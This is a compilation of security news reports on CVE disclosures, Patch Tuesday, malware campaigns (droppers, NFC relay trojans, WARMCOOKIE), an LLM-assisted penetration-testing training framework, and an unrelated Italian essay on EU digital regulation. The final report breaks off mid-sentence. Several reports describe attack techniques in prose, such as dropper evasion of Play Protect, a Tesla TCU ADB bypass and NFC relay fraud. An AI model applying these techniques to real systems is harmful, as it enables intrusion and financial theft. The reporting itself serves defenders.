IBM has disclosed details of a critical security flaw in API Connect that could allow attackers to gain remote access to the application. The vulnerability, tracked as CVE-2025-13915, is rated 9.8 out of a maximum of 10.0 on the CVSS scoring system. It has been described as an authentication bypass flaw. "IBM API Connect could allow a remote attacker to bypass authentication mechanisms and gain unauthorized access to the application," the tech giant said in a bulletin. The shortcoming affects the following versions of IBM API Connect - 10.0.8.0 through 10.0.8.5 10.0.11.0 Customers are advised to follow the steps outlined below - Download the fix from Fix Central Extract the files: Readme.md and ibm-apiconnect- -ifix.13195.tar.gz Apply the fix based on the appropriate API Connect version "Customers unable to install the interim fix should disable self-service sign-up on their Developer Portal if enabled, which will help minimise their exposure to this vulnerability," the company added. API Connect is an end-to-end application programming interface (API) solution that allows organizations to create, test, manage, and secure APIs located on cloud and on-premises. It's used by companies like Axis Bank, Bankart, Etihad Airways, Finologee, IBS Bulgaria, State Bank of India, Tata Consultancy Services, and TINE. While there is no evidence of the vulnerability being exploited in the wild, users are advised to apply the fixes as soon as possible for optimal protection.

Si dice che a pensar male si faccia peccato. Non ci sono esimenti né attenuanti nel caso in cui il pensiero riguardi contesti digitali o legislazioni a riguardo. Ma ad essere realisti – cosa che spiace molto a chi indulge in attivismi di convenienza o cavalca facili hype – gli inferni del digitale li stiamo già vivendo. Nell’Europa che vorrebbe ancora essere Axis Mundi e lo è oramai solo nel racconto di un “effetto Bruxelles”, oggi viviamo il paradosso della convivenza di un’iperregolamentazione degli ecosistemi digitali ed un’erosione continua dei diritti fondamentali di cittadinanza digitale. Senza scomodare gli eccessi di ChatControl, è sufficiente prendere atto che la nota rana di Chomsky ha trovato nel legislatore europeo i migliori metodi di cottura a bassa temperatura. I sistemi complessi vivono di contrappesi, ma l’entusiasmo è uno di questi. Eppure, ha giustificato sproporzionate compressioni di diritti fondamentali. Le migliori intenzioni difficilmente sussistono o permangono però nel momento in cui si tenta di criminalizzare nel dibattito pubblico l’anonimato, la crittografia e2e o il sacrosanto diritto di non volere delle backdoor di Stato. Quindi possiamo dubitare anche di queste, o altrimenti ammettere che sono carburate da una profonda ignoranza o inconsapevolezza circa la conseguenza di determinate scelte di alto livello che attentano all’integrità dei diritti fondamentali. Dopodiché, certamente Semplificare la complessità è possibile, ma sacrificare una visione di sistema e partizionare degli interventi, o celebrare solo l’eliminazione di determinate norme o vincoli, significa voler vivere – o vendere – un’illusione. Nel principio di progettazione KISS – Keep It Simple, Stupid – se incoraggia a far qualcosa di utile ma facile, non di inutile e stupido. Il che comprende anche qualcosa di cui prevedibilmente potremmo pentirci. Semplificazione o deregulation? L’esempio della proposta “Digital Omnibus” è emblematico perché con la semplificazione si rischia di smantellare un impianto di tutele concrete, nell’illusione di un futuro che appartiene più all’ombra del desiderio che alla concretezza di una realizzazione possibile. Regole che poi devono trovare azioni di enforcement, soprattutto nei confronti delle Big Tech che, come nell’esempio di Apple e il governo cinese, vivono senza troppi problemi Splinteret e la gestione della conformità normativa. Certo, bisogna avere un potere contrattuale che probabilmente l’Europa, limitandosi negli ultimi decenni ad aver ceduto sovranità tecnologica e iniziativa giovandosi del proprio ruolo di recipiente di utenti digitali (consumatori e aziende) altospendenti, scopre di aver gradualmente eroso nel tempo nel dare corso a strategie che vivevano più sulla carta che negli esiti. Il vecchio continente può dirsi patria dell’amor di retorica in cui la logica cede il passo al convincimento, ed eccoci qua a discutere di semplificazioni e deregulation. Anzi, addirittura a celebrarle. Peccato però che le complicazioni siano arrivate attraverso una serie di “Act” e ben più ingarbugliate interpretazioni di una CGUE che si è fatta, o così sembra, uno strumento di attuazione politica più che un giudice. Non sbagliò più di tanto il mugnaio di Brecht nel voler cercare un giudice a Berlino e non a Lussemburgo, insomma. Le semplificazioni a seguire sembrano non seguire una strategia, né tantomeno individuano alcun parametro di controllo. Ma hanno dei costi emergenti e che emergeranno. Siamo sicuri, infatti, che non si stia semplificando il ruolo della persona e del cittadino digitale, riducendolo ad un mero utente? O forse è tutto un elaborato cliffhanger verso il prossimo “Act”?

Microsoft on Tuesday released fixes for a whopping 183 security flaws spanning its products, including three vulnerabilities that have come under active exploitation in the wild, as the tech giant officially ended support for its Windows 10 operating system unless the PCs are enrolled in the Extended Security Updates (ESU) program. Of the 183 vulnerabilities, eight of them are non-Microsoft issued CVEs. As many as 165 flaws have been rated as Important in severity, followed by 17 as Critical and one as Moderate. The vast majority of them relate to elevation of privilege vulnerabilities (84), with remote code execution (33), information disclosure (28), spoofing (14), denial-of-service (11), and security feature bypass (11) issues accounting for the rest. The updates are in addition to the 25 vulnerabilities Microsoft addressed in its Chromium-based Edge browser since the release of September 2025's Patch Tuesday update. The two Windows zero-days that have come under active exploitation are as follows - CVE-2025-24990 (CVSS score: 7.8) - Windows Agere Modem Driver ("ltmdm64.sys") Elevation of Privilege Vulnerability CVE-2025-59230 (CVSS score: 7.8) - Windows Remote Access Connection Manager (RasMan) Elevation of Privilege Vulnerability Microsoft said both issues could allow attackers to execute code with elevated privileges, although there are currently no indications on how they are being exploited and how widespread these efforts may be. In the case of CVE-2025-24990, the company said it's planning to remove the driver entirely, rather than issue a patch for a legacy third-party component. The security defect has been described as "dangerous" by Alex Vovk, CEO and co-founder of Action1, as it's rooted within legacy code installed by default on all Windows systems, irrespective of whether the associated hardware is present or in use. "The vulnerable driver ships with every version of Windows, up to and including Server 2025," Adam Barnett, lead software engineer at Rapid7, said. "Maybe your fax modem uses a different chipset, and so you don't need the Agere driver? Perhaps you've simply discovered email? Tough luck. Your PC is still vulnerable, and a local attacker with a minimally privileged account can elevate to administrator." According to Satnam Narang, senior staff research engineer at Tenable, CVE-2025-59230 is the first vulnerability in RasMan to be exploited as a zero-day. Microsoft has patched more than 20 flaws in the component since January 2022. The third vulnerability that has been exploited in real-world attacks concerns a case of Secure Boot bypass in IGEL OS before 11 (CVE-2025-47827, CVSS score: 4.6). Details about the flaw were first publicly disclosed by security researcher Zack Didcott in June 2025. "The impacts of a Secure Boot bypass can be significant, as threat actors can deploy a kernel-level rootkit, gaining access to the IGEL OS itself and, by extension, then tamper with the Virtual Desktops, including capturing credentials," Kev Breen, senior director of threat research at Immersive, said. "It should be noted that this is not a remote attack, and physical access is typically required to exploit this type of vulnerability, meaning that 'evil-maid' style attacks are the most likely vector affecting employees who travel frequently." All three issues have since been added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) Known Exploited Vulnerabilities (KEV) catalog, requiring federal agencies to apply the patches by November 4, 2025. Some other critical vulnerabilities of note include a remote code execution (RCE) bug (CVE-2025-59287, CVSS score: 9.8) in Windows Server Update Service (WSUS), an out-of-bounds read vulnerability in the Trusted Computing Group (TCG) TPM2.0 reference implementation's CryptHmacSign helper function (CVE-2025-2884, CVSS score: 5.3), and an RCE in Windows URL Parsing (CVE-2025-59295, 8.8). "An attacker can leverage this by carefully constructing a malicious URL," Ben McCarthy, lead cybersecurity engineer at Immersive, said about CVE-2025-59295. "The overflowed data can be designed to overwrite critical program data, such as a function pointer or an object's virtual function table (vtable) pointer." "When the application later attempts to use this corrupted pointer, instead of calling a legitimate function, it redirects the program's execution flow to a memory address controlled by the attacker. This allows the attacker to execute arbitrary code (shellcode) on the target system." Two vulnerabilities with the highest CVSS score in this month's update relate to a privilege escalation flaw in Microsoft Graphics Component (CVE-2025-49708, CVSS score: 9.9) and a security feature bypass in ASP.NET (CVE-2025-55315, CVSS score: 9.9). While exploiting CVE-2025-55315 requires an attacker to be first authenticated, it can be abused to covertly get around security controls and carry out malicious actions by smuggling a second, malicious HTTP request within the body of their initial authenticated request. "An organization must prioritize patching this vulnerability because it invalidates the core security promise of virtualization," McCarthy explained regarding CVE-2025-49708, characterizing it as a high-impact flaw that leads to a full virtual machine (VM) escape. "A successful exploit means an attacker who gains even low-privilege access to a single, non-critical guest VM can break out and execute code with SYSTEM privileges directly on the underlying host server. This failure of isolation means the attacker can then access, manipulate, or destroy data on every other VM running on that same host, including mission-critical domain controllers, databases, or production applications." Software Patches from Other Vendors In addition to Microsoft, security updates have also been released by other vendors over the past several weeks to rectify several vulnerabilities, including — Adobe Amazon Web Services AMD AMI Apple ASUS Axis Communications Broadcom (including VMware) Canon Check Point Cisco D-Link Dell Drupal Elastic F5 Fortinet Foxit Software FUJIFILM Gigabyte GitLab Google Chrome Google Cloud Google Pixel Watch Grafana Hitachi Energy HMS Networks (including Red Lion) Honeywell HP HP Enterprise (including Aruba Networking and Juniper Networks) IBM Ivanti Jenkins Lenovo Linux distributions AlmaLinux, Alpine Linux, Amazon Linux, Arch Linux, Debian, Gentoo, Oracle Linux, Mageia, Red Hat, Rocky Linux, SUSE, and Ubuntu MediaTek Mitsubishi Electric MongoDB Moodle Moxa Mozilla Firefox, Firefox ESR, and Thunderbird NVIDIA Oracle Palo Alto Networks Progress Software QNAP Qualcomm Ricoh Rockwell Automation Salesforce Samsung SAP Schneider Electric ServiceNow Siemens SolarWinds SonicWall Splunk Spring Framework Supermicro Synology TP-Link Unity Veeam, and Zoom

Cyber threats are evolving faster than ever. Attackers now combine social engineering, AI-driven manipulation, and cloud exploitation to breach targets once considered secure. From communication platforms to connected devices, every system that enhances convenience also expands the attack surface. This edition of ThreatsDay Bulletin explores these converging risks and the safeguards that help preserve trust in an increasingly intelligent threat landscape. How Threat Actors Abuse Microsoft TeamsMicrosoft detailed the various ways threat actors can abuse its Teams chat software at various stages of the attack chain, even using it to support financial theft through extortion, social engineering, or technical means. "Octo Tempest has used communication apps, including Teams, to send taunting and threatening messages to organizations, defenders, and incident response teams as part of extortion and ransomware payment pressure tactics," the company said. "After gaining control of MFA through social engineering password resets, they sign in to Teams to identify sensitive information supporting their financially motivated operations." As mitigations, organizations are advised to strengthen identity protection, harden endpoint security, and secure Teams clients and apps. LNK Files Used in New Malware CampaignA campaign that packages passport- or payment-themed ZIP archives with malicious Windows shortcut (.LNK) files has been found to deliver a PowerShell dropper that drops a DLL implant on compromised hosts. The ZIP archives are distributed via phishing emails. "Execution of the staged payload launches the DLL implant with rundll32.exe using the JMB export and establishes command and control to faw3[.]com," Blackpoint Cyber said. "The PowerShell dropper uses simple but effective evasion, including building keywords like Start-Process and rundll32.exe from byte arrays, suppressing progress output, clearing the console, and changing server file names based on common antivirus processes. Once active, the implant runs under the user context and can enable remote tasking, host reconnaissance, and delivery of follow-on payloads while blending into normal Windows activity." Israel Likely Behind an AI Disinfo Campaign Targeting IranThe Citizen Lab said a coordinated Israeli-backed network of around 50 social media accounts on X pushed anti-government propaganda using deepfakes and other AI-generated content to Iranians with the goal of fomenting revolt among the country's people and overthrowing the Iranian regime. The campaign has been codenamed PRISONBREAK. These accounts were created in 2023 but remained largely dormant until January 2025. "While organic engagement with PRISONBREAK's content appears to be limited, some of the posts achieved tens of thousands of views. The operation seeded such posts to large public communities on X, and possibly also paid for their promotion," the non-profit said. It's assessed that the campaign is the work of an unidentified agency of the Israeli government, or a sub-contractor working under its close supervision. Opposition to E.U. Chat ControlThe president of the Signal Foundation said the end-to-end encrypted messaging app will leave the European Union market rather than comply with a potential new regulation known as Chat Control. Chat Control, first introduced in 2022, would require service providers, including end-to-end encrypted platforms like Signal, to scan all platform communications and files to screen for “abusive material” before a message is sent. "Under the guise of protecting children, the latest Chat Control proposals would require mass scanning of every message, photo, and video on a person’s device, assessing these via a government-mandated database or AI model to determine whether they are permissible content or not,” Signal Foundation President Meredith Whittaker said. "What they propose is in effect a mass surveillance free-for-all, opening up everyone’s intimate and confidential communications, whether government officials, military, investigative journalists, or activists." CryptPad, Element, and Tuta are among more than 40 other E.U. tech companies that have signed an open letter against the Chat Control proposal. Meanwhile, German officials said they will vote against the proposal, signaling that the bloc will not have the votes to move forward with the controversial measure. Autodesk Revit Crash to RCENew research has found that it's possible to turn a Autodesk Revit file parsing crash (CVE-2025-5037) into a code execution exploit that is fully reliable even on the latest Windows x64 platform. "This RCE is unusually impactful due to the Axis cloud misconfiguration that could have resulted in automatic exploitation during normal usage of the affected products," Trend Micro Zero Day Initiative researcher Simon Zuckerbraun said. France Opens Probe into Apple Siri Voice RecordingsFrance said it's opening an investigation into Apple over the company's collection of Siri voice recordings. The Paris public prosecutor said the probe is in response to a whistleblower complaint. Apple subcontractor Thomas Le Bonniec said Siri conversations contained intimate moments or sensitive data that could easily deanonymize and identify users. "Apple has never used Siri data to create marketing profiles, has never made it available for advertising, and has never sold it to anyone for any reason whatsoever," the company said in a statement shared with Politico. Earlier this January, Apple said it would not keep "audio recordings of interactions with Siri, unless the user explicitly agrees." North Korea Linked to $2B Theft in 2025North Korean hackers have stolen an estimated $2 billion worth of cryptocurrency assets in 2025, marking the largest annual total on record. A large chunk of the theft came from the Bybit hack in February, when the threat actors stole about $1.46 billion. Other thefts publicly attributed to North Korea in 2025 include those suffered by LND.fi, WOO X, and Seedify. However, it's suspected that the actual figure may be even higher. "The 2025 total already dwarfs previous years and is almost triple last year's tally, underscoring the growing scale of North Korea's dependence on cyber-enabled theft to fund its regime," Elliptic said. A notable shift observed this year is the increasing targeting of high-net-worth individuals. "As crypto prices have risen, individuals have become increasingly attractive targets, often lacking the security measures employed by businesses," the company added. "Some of these individuals are also targeted due to their association with businesses holding large amounts of cryptoassets, which the hackers are looking to steal." The development comes as Fortune reported that the North Korean fraudulent IT worker scheme has funneled up to $1 billion into the regime's nuclear program in the past five years, making it a lucrative revenue-generating stream. North Korean actors well-versed in IT have been observed stealing identities, falsifying their résumés, and deceiving their way into highly paid remote tech jobs in the U.S., Europe, Australia, and Saudi Arabia, using artificial intelligence to fabricate work and disguise their faces and identities. According to the latest statistics from Okta, one in two targets were not tech firms, and one in four targets were not U.S.-based companies, indicating that any company recruiting remote talent could be at risk. Besides a "marked" increase in attempts to gain employment at AI companies or AI-focused roles, other sectors prominently targeted by North Korea included finance, healthcare, public administration, and professional services. The identity services provider said it has tracked over 130 identities operated by facilitators and workers, which can be linked to over 6,500 initial job interviews across more than 5,000 distinct companies up until mid-2025. "Years of sustained activity against a broad range of U.S. industries have allowed Democratic People’s Republic of Korea-aligned facilitators and workers to refine their infiltration methods," Okta said. "They are entering new markets with a mature, well-adapted workforce capable of bypassing basic screening controls and exploiting hiring pipelines more effectively." Once hired, North Korea IT workers request payment in stablecoins, likely due to their consistent value, as well as their popularity with OTC traders who can facilitate the off-ramp from cryptocurrency to fiat, Chainalysis noted. The salaries are then transferred through various money laundering techniques, such as chain-hopping, token swapping, bridge protocols, and consolidation addresses, to complicate the tracing of funds. Security Flaws in YoLink Smart HubSecurity vulnerabilities have been discovered in the YoLink Smart Hub (v0382), the gateway device that manages all YoLink locks, sensors, plugs, and other IoT products, which could be exploited to achieve authorization bypass and allow attackers to remotely control other users' devices, and access Wi-Fi credentials and device IDs in plaintext. To make matters worse, the use of long-lived session tokens allows ongoing unauthorized access. The vulnerabilities relate to insufficient authorization controls (CVE-2025-59449 and CVE-2025-59452), insecure network transmission (CVE-2025-59448), and improper session management (CVE-2025-59451). The most severe vulnerability, CVE-2025-59449, is rated as critical and could allow an attacker who obtains predictable device IDs to operate a user's devices without strong authentication. The unencrypted MQTT communication between the hub and the mobile app also allows for the exposure of sensitive data like credentials and device IDs. "An attacker [...] could potentially obtain physical access to YoLink customers’ homes by opening their garages or unlocking their doors," Bishop Fox researcher Nicholas Cerne said. "Alternatively, the attacker could toggle the power state of devices connected to YoLink smart plugs, which could have a variety of impacts depending on the types of devices that were connected." Authentication Bypass in Tesla TCUCybersecurity researchers from NCC Group detailed a bypass of the Android debug bridge (ADB) lockdown logic in Tesla's telematics control unit (TCU) that could potentially allow attackers to gain shell access to production devices. The flaw (CVE-2025-34251, CVSS score: 8.6) is an arbitrary file write that could be used to obtain code execution in the context of root on the TCU. "The TCU runs the Android Debug Bridge (adbd) as root and, despite a 'lockdown' check that disables adb shell, still permits adb push/pull and adb forward," according to an advisory for the vulnerability. "Because adbd is privileged and the device’s USB port is exposed externally, an attacker with physical access can write an arbitrary file to a writable location and then overwrite the kernel’s uevent_helper or /proc/sys/kernel/hotplug entries via ADB, causing the script to be executed with root privileges." Spoofed Domains Deliver Android and Windows MalwareA financially motivated threat cluster has used more than 80 spoofed domains and lure websites to target users with fake applications and websites themed as government tax sites, consumer banking, age 18+ social media content, and Windows assistant applications, DomainTools said. The end goal of the attacks is to deliver Android and Windows trojans, likely for the purpose of stealing credentials through the use of fake login pages. The presence of Meta tracking pixels indicates that the threat actors are likely running it as a campaign, using Facebook ads or other methods to drive traffic to the fake pages. NoName057(16) Bounces BackThe hacktivist group known as NoName057(16), which suffered a significant blow in July 2025 following an international law enforcement effort called Operation Eastwood, has managed to bounce back, escalate its activities, and leverage new alliances to amplify its reach. A majority of the group's targets between late July and August 2025 comprised German websites, focusing on municipalities, police, public services, and government portals, as well as sites in Spain, Belgium, and Italy. "A key limitation remains: the group's core infrastructure and leadership are based in Russia," Imperva said. "Without cooperation from Russian authorities, fully dismantling NoName057(16) is highly unlikely. To date, Moscow has not taken action against pro-Russian hacktivist groups, and their activities often continue without interference." LATAM Banks Targeted by BlackStinkFinancial institutions in Latin America have become the target of a new malware campaign that uses malicious Google Chrome extensions mimicking Google Docs to initiate fraudulent transfers in real-time by taking remote control of the banking session. The activity, dubbed BlackStink, leverages advanced WebInject techniques to bypass traditional detection mechanisms, per IBM X-Force. "Once active, it can dynamically inject deceptive overlays into legitimate banking pages to harvest credentials, account details and transaction data," the company noted. "Beyond simple credential theft, BlackStink is capable of auto-filling and auto-submitting forms, simulating user actions and executing automatic transactions -- allowing attackers to move funds in real time without the victim's awareness." Over 2K Oracle E-Business Suite Instances Exposed to InternetAttack surface management company Censys said it observed 2,043 internet-accessible Oracle E-Business Suite instances exposed to the internet, making it crucial that users take steps to secure against CVE-2025-61882, a critical vulnerability in the Concurrent Processing component that can be exploited by an unauthenticated attacker with network access via HTTP to compromise the system. The vulnerability is assessed to have been weaponized as a zero-day by Cl0p as part of new extortion attacks since August 2025. Asgard Protector DetailedA crypter service called Asgard Protector is being used to hide malicious payloads such as Lumma Stealer to help the artifacts bypass security defenses. "Asgard Protector leverages Nullsoft package installations, hidden AutoIt binaries, and compiled AutoIt scripts in order to inject encrypted payloads into memory, which are decrypted in memory and executed," SpyCloud said. "The combination of LummaC2 and Asgard Protector represents a potent union for evading detection and stealing data from devices and networks." Some of the other malware families distributed using this crypter are Quasar RAT, Rhadamanthys, Vidar, and ACR Stealer. There is evidence to suggest that Asgard Protector has some sort of a connection with CypherIT given the functional similarities between the two. Updates to WARMCOOKIE MalwareThe Windows malware known as WARMCOOKIE (aka BadSpace) is being actively developed and distributed, with recent campaigns leveraging CastleBot for propagation. "The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent," Elastic said. "These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either rundll32.exe or PowerShell.exe. Below is an example of PE execution from procmon." Mic-E-Mouse Attack for Covert Data ExfiltrationAcademics from UC Irvine have developed a new technique that turns an optical mouse into a microphone to secretly record and exfiltrate data from air-gapped networks. The new Mic-E-Mouse technique takes advantage of the high-performance optical sensors common in gaming mice to detect tiny vibrations caused by nearby sound and record the pattern in mouse movements. This data is then collected and exfiltrated to recover conversations with the help of a transformer-based neural network. For the attack to work, a bad actor must first compromise the computer through other means. The study used a $35 mouse to test the system and found it could capture speech with 61% accuracy, depending on voice frequency. "Our target for a suitable exploit delivery vehicle is open-source applications where the collection and distribution of high-frequency mouse data is not inherently suspicious," the researchers said. "Therefore, creative software, video games, and other high performance, low latency software are an [sic] ideal targets for injecting our exploit." Crimson Collective Targets AWS EnvironmentsThe emerging threat group known as Crimson Collective, which has been attributed to the recent breach of Red Hat, is believed to share ties with the larger Scattered Spider and LAPSUS$ collectives, according to security researcher Kevin Beaumont. The assessment is based on the fact that the messages posted on the group's public Telegram channel are signed with the name "Miku," which refers to an alias for Thalha Jubair, who was arrested last month in the U.K. in connection with the August 2024 cyber attack targeting Transport for London (TfL), the city's public transportation agency. Interestingly, the Red Hat compromise date is listed as September 13, 2025, a couple of days before Jubair's arrest. According to Rapid7, the threat actors are increasingly targeting AWS cloud environments to steal sensitive data and extort victim organizations, with the attacks relying on an open-source tool called TruffleHog to find leaked AWS credentials. "The threat group's activity has been observed to start with compromising long-term access keys and leveraging privileges attached to the compromised IAM (Identity & Access Management) accounts," the company said. "The threat group was observed creating new users and escalating privileges by attaching policies. When successful, the Crimson Collective performed reconnaissance to identify valuable data and exfiltrated it via AWS services. In case of the successful exfiltration of data, an extortion note is received by the victim." The group has since partnered with Scattered LAPSUS$ Hunters, with ShinyHunters telling Bleeping Computer that it has been privately operating as an extortion-as-a-service (EaaS), where they work with other threat actors to extort companies in exchange for a share of the extortion demand. Defending against modern threats requires more than tools — it demands awareness, adaptability, and shared responsibility. As attackers evolve, so must our approach to security. The path forward lies in continuous learning, stronger collaboration, and smarter use of technology to keep trust intact in a connected world.

Cybersecurity researchers are calling attention to a new shift in the Android malware landscape where dropper apps, which are typically used to deliver banking trojans, to also distribute simpler malware such as SMS stealers and basic spyware. These campaigns are propagated via dropper apps masquerading as government or banking apps in India and other parts of Asia, ThreatFabric said in a report last week. The Dutch mobile security firm said the change is driven by recent security protections that Google has piloted in select markets like Singapore, Thailand, Brazil, and India to block sideloading of potentially suspicious apps requesting dangerous permissions like SMS messages and accessibility services, a heavily abused setting to carry out malicious actions on Android devices. "Google Play Protect's defences, particularly the targeted Pilot Program, are increasingly effective at stopping risky apps before they run," the company said. "Second, actors want to future-proof their operations." "By encapsulating even basic payloads inside a dropper, they gain a protective shell that can evade today’s checks while staying flexible enough to swap payloads and pivot campaigns tomorrow." ThreatFabric said that while Google's strategy ups the ante by blocking a malicious app from being installed even before a user can interact with it, attackers are trying out new ways to get around the safeguards – an indication of the endless game of whack-a-mole when it comes to security. This includes designing droppers keeping in mind Google's Pilot Program, so that they don't seek high-risk permissions and serve only a harmless "update" screen that can fly past scanning in the regions where the initiative has gone live. But it's only when the user clicks the "Update" button does the actual payload get fetched from an external server or unpacked, which then proceeds to seek the necessary permissions to fulfil its objectives. "Play Protect may display alerts about the risks, as a part of a different scan, but as long as the user accepts them, the app is installed, and the payload is delivered," ThreatFabric said. "This illustrates a critical gap: Play Protect still allows risky apps through if the user clicks Install anyway, and the malware still slips through the Pilot Program." One such dropper is RewardDropMiner, which has been found to serve along with spyware payloads a Monero cryptocurrency miner that can be activated remotely. Recent variants of the tool, however, no longer include the miner functionality. Some of the malicious apps delivered via RewardDropMiner, all targeting users in India, are listed below - PM YOJANA 2025 (com.fluvdp.hrzmkgi) °RTO Challan (com.epr.fnroyex) SBI Online (com.qmwownic.eqmff) Axis Card (com.tolqppj.yqmrlytfzrxa) Other dropper variants that avoid triggering Play Protect or the Pilot Program include SecuriDropper, Zombinder, BrokewellDropper, HiddenCatDropper, and TiramisuDropper. When reached for comment, Google told The Hacker News it has not found any apps using these techniques distributed via the Play Store and that it's constantly adding new protections. "Regardless of where an app comes from – even if it's installed by a 'dropper' app – Google Play Protect helps to keep users safe by automatically checking it for threats," a spokesperson said. "Protection against these identified malware versions was already in place through Google Play Protect prior to this report. Based on our current detection, no apps containing these versions of this malware have been found on Google Play. We're constantly enhancing our protections to help keep users safe from bad actors." The development comes as Bitdefender Labs has warned of a new campaign that's using malicious ads on Facebook to peddle a free premium version of the TradingView app for Android to ultimately deploy an improved version of the Brokewell banking trojan to monitor, control, and steal sensitive information from the victim's device. No less than 75 malicious ads have been run since July 22, 2025, reaching tens of thousands of users in the European Union alone. The Android attack wave is just one part of a larger malvertising operation that has abused Facebook Ads to also target Windows desktops under the guise of various financial and cryptocurrency apps. "This campaign shows how cybercriminals are fine-tuning their tactics to keep up with user behavior," the Romanian cybersecurity company said. "By targeting mobile users and disguising malware as trusted trading tools, attackers hope to cash in on the growing reliance on crypto apps and financial platforms."

What happens when penetration testing goes virtual and gets an AI coach Cybersecurity training often struggles to match the complexity of threats. A new approach combining digital twins and LLMs aims to close that gap. Researchers from the University of Bari Aldo Moro propose using Cyber Digital Twins (CDTs) and generative AI to create realistic, interactive environments for cybersecurity education. Their framework simulates IT, OT, and IoT systems in a controlled virtual space and layers AI-driven feedback on top. The goal is to improve penetration testing skills and strengthen understanding of the full cyberattack lifecycle. At the center of the framework is the Red Team Knife (RTK), a toolkit that integrates common penetration testing tools like Nmap, theHarvester, sqlmap, and others. What makes RTK different is how it walks learners through the stages of the Cyber Kill Chain model. It prompts users to reflect on next steps, reevaluate earlier findings, and build a deeper understanding of how different phases connect. To support learning, the system uses LLMs to offer natural-language explanations, summarize attack patterns, and suggest tactics during exercises. This turns the environment into an adaptive learning space, where LLMs act as mentors offering context and strategy in real time. The training framework uses a two-dimensional structure. The horizontal axis represents different categories of digital twin simulations, from applications and networks to physical and social engineering layers. The vertical axis maps to the stages of the Cyber Kill Chain: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and final objectives. Together, these dimensions allow for a structured, hands-on experience that covers a wide range of assets and attack strategies. This setup reflects the non-linear nature of real-world penetration testing. Learners might start with a network scan, move on to exploitation, then loop back to refine reconnaissance based on new insights. RTK helps users navigate this process with suggestions that adapt to each situation. The research also connects this training approach to a broader concept called Cyber Social Security, which focuses on the intersection of human behavior, social factors, and cybersecurity. The growing reliance on social engineering and psychological manipulation in attacks has led the researchers to argue that technical training must include these dimensions. LLMs help bridge that gap by extracting threat intelligence from unstructured data sources like forums, reports, or dark web chatter, and presenting it in plain language. Digital twins offer other benefits too. Because they replicate full environments, they can be used to test detection and response capabilities without real-world risk. Organizations can run simulations, model attacker behavior, and analyze the impact of different response strategies. The framework’s integration of LLMs also helps with communication by translating technical events into explanations that make sense to non-experts, which could be valuable in operations centers and cross-functional teams. However, experts caution that AI-assisted training tools come with their own risks if not properly safeguarded. Jason Soroko, Senior Fellow at Sectigo, told Help Net Security any such system needs layered controls: “Keep twins fully isolated with strict egress controls, frequent reimaging, and seeded canaries to catch misuse. Filter prompts and outputs to block step-by-step exploit recipes and require defensive framing, constrained tools, and minimal detail on high-risk topics. Enforce role-based access, immutable logging, data minimization, and human review for escalations, and regularly red team both the tutor and the range.” While the framework is still early in development, the researchers are designing user studies to test how well it supports training in real-world contexts. They suggest the model could eventually be used beyond education, for active threat modeling, diagnostics, and adaptive defense. By bringing together simulation and language-based reasoning, this research points to a future where cybersecurity training becomes more immersive, responsive, and tied to real attack workflows. The combination of digital twins and generative AI may help close the gap between theoretical knowledge and operational readiness.

Cybersecurity researchers have disclosed a new Android trojan called PhantomCard that abuses near-field communication (NFC) to conduct relay attacks for facilitating fraudulent transactions in attacks targeting banking customers in Brazil. "PhantomCard relays NFC data from a victim's banking card to the fraudster's device," ThreatFabric said in a report. "PhantomCard is based on Chinese-originating NFC relay malware-as-a-service." The Android malware, distributed via fake Google Play web pages mimicking apps for card protection, goes by the name "Proteção Cartões" (package name "com.nfupay.s145" or "com.rc888.baxi.English"). The bogus pages also feature deceptive positive reviews to persuade victims into installing the app. It's currently not known how links to these pages are distributed, but it likely involves smishing or a similar social engineering technique. Once the app is installed and opened, it requests victims to place their credit/debit card on the back of the phone to begin the verification process, at which point the user interface displays the message: "Card Detected! Keep the card nearby until authentication is complete." In reality, the card data is transmitted to an attacker-controlled NFC relay server by taking advantage of the built-in NFC reader built into modern devices. The PhantomCard-laced app then requests the victim to enter the PIN code with the goal of transmitting the information to the cybercriminal so as to authenticate the transaction. "As a result, PhantomCard establishes a channel between the victim's physical card and the PoS terminal / ATM that the cybercriminal is next to," ThreatFabric explained. "It allows the cybercriminal to use the victim's card as if it was in their hands." Similar to SuperCard X, there exists an equivalent app on the mule-side that's installed on their device to receive the stolen card information and ensure seamless communications between the PoS terminal and the victim's card. The Dutch security company said the actor behind the malware, Go1ano developer, is a "serial" reseller of Android threats in Brazil, and that PhantomCard is actually the handiwork of a Chinese malware-as-a-service offering known as NFU Pay that's advertised on Telegram. Go1ano developer, in their own Telegram channel, claims PhantomCard works globally, stating it is 100% undetectable and is compatible with all NFC-enabled point-of-sale (PoS) terminal devices. They also claim to be a "trusted partner" for other malware families like BTMOB and GhostSpy in the country. It's worth noting that NFU Pay is one of the many illicit services peddled on the underground that offer similar NFC relay capabilities, such as SuperCard X, KingNFC, and X/Z/TX-NFC. "Such threat actors pose additional risks to local financial organizations as they open the doors for a wider variety of threats from all over the world, which could have potentially stayed away from certain regions due to language and cultural barriers, specifics of financial system, lack of cash-out ways," ThreatFabric said. "This, consequently, complicates the threat landscape for local financial organizations and calls out for proper monitoring of the global threats and actors behind it targeting the organization." In a report published last month warning of a spike in NFC-enabled fraud in the Philippines, Resecurity said Southeast Asia has become a testing ground for NFC fraud, with bad actors targeting regional banks and financial service providers. "With tools such as Z-NFC, X-NFC, SuperCard X, and Track2NFC, attackers can clone stolen card data and perform unauthorized transactions using NFC-enabled devices," Resecurity said. "These tools are widely available in underground forums and private messaging groups. The resulting fraud is difficult to detect, as the transactions appear to originate from trusted, authenticated devices. In markets like the Philippines, where contactless payment usage is rising and low-value transactions often bypass PIN verification, such attacks are harder to trace and stop in real time." The disclosure comes as K7 Security uncovered an Android malware campaign dubbed SpyBanker aimed at Indian banking users that's likely distributed to users via WhatsApp under the guise of a customer help service app. "Interestingly, this Android SpyBanker malware edits the 'Call Forward Number' to a hard-coded mobile number, controlled by the attacker, by registering a service called 'CallForwardingService' and redirects the user's calls," the company said. "Incoming calls to the victims when left unattended are diverted to the call forwarded number to carry out any desired malicious activity." Furthermore, the malware comes fitted with capabilities to collect victims' SIM details, sensitive banking information, SMS messages, and notification data. Indian banking users have also been targeted by Android malware that's designed to siphon financial information, while simultaneously dropping the XMRig cryptocurrency miner on compromised devices. The malicious credit card apps are distributed via convincing phishing pages that use real assets taken 